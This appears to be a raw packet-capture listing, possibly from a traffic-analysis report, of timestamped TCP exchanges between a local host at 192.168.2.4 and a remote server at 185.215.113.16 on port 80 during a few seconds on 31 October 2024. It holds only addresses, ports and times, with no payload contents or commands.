Oct 31, 2024 20:52:10.450444937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450452089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450489044 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450496912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450504065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450519085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450526953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450532913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450540066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450562954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450608969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450614929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450653076 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.450949907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450958014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450963974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.450999022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451411009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451468945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451503038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451575994 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451742887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451807976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451858044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451864004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451878071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451883078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451889038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451908112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451910019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451915026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451926947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451932907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451939106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451944113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451956034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.451967955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.451992989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452028036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452038050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452044964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452056885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452063084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452069044 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452096939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452168941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452182055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452188015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452200890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452208996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452235937 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452285051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452291965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452308893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452320099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452332020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452333927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452342987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452349901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452349901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452366114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452393055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452399969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452411890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452423096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452428102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452435017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452441931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452454090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452466965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452495098 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452513933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452519894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452532053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452557087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452613115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452620983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452625990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452655077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452670097 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452754974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452761889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452783108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452797890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452799082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452806950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452821016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452824116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452828884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452850103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452874899 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452918053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452924967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452930927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452934980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.452956915 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452976942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.452994108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453000069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453011990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453037024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.453084946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453093052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453104019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453109026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453119040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.453129053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.453149080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.453169107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.533955097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.534071922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.534073114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.534128904 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.615971088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.615988970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616000891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616096973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616122961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616130114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616166115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616172075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616172075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616218090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616321087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616329908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616341114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616379976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616410971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616420984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616432905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616439104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616467953 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616497040 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616564035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616570950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616600037 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616612911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616827011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616835117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616848946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616883993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616914034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616929054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616935968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616941929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616946936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.616970062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.616985083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617012024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617428064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617441893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617453098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617459059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617470026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617489100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617685080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617691994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617703915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617708921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617738008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617749929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617914915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617921114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617932081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617938995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.617968082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.617986917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618089914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618096113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618102074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618107080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618118048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618134022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618160009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618417025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618422031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618432999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618438959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618443012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618449926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618460894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618465900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618467093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618482113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618488073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618488073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618491888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618499041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618504047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618511915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618524075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618531942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618532896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618567944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618596077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618603945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618648052 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618675947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618681908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618693113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618699074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618705034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618726015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618737936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618740082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618745089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618788004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618819952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618825912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618838072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618843079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.618885994 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618896961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.618995905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619050026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619056940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619147062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619158983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619172096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619175911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619177103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619194984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619204998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619206905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619215012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619220972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619234085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619240046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619244099 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619272947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619291067 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619338989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619348049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619385004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619620085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619627953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619640112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619672060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619683027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619688988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619699955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619705915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619736910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619762897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619770050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619781971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619787931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619792938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619807005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619807005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619846106 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.619932890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619940996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619951010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.619982958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.740906954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.741061926 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.741154909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.741209984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782197952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782280922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782286882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782299042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782346964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782383919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782553911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782572031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782584906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782636881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782706022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782752991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782773018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782785892 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782800913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782802105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782815933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782826900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782859087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782859087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782882929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782893896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782893896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782906055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782910109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782916069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.782939911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.782963037 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783009052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783018112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783027887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783065081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783068895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783091068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783111095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783133030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783179998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783216000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783221960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783227921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783267975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783320904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783327103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783332109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783373117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783376932 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783379078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783390999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783417940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783422947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783427954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783467054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783489943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783535957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783554077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783580065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783581972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783618927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783641100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783648014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783690929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.783963919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.783977985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784023046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784213066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784259081 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784410000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784456015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784657001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784728050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784739971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784743071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784774065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784774065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784878969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784885883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784897089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784950018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.784980059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784989119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.784996033 CET	80	49734	185.215.113.16	192.168.2.4
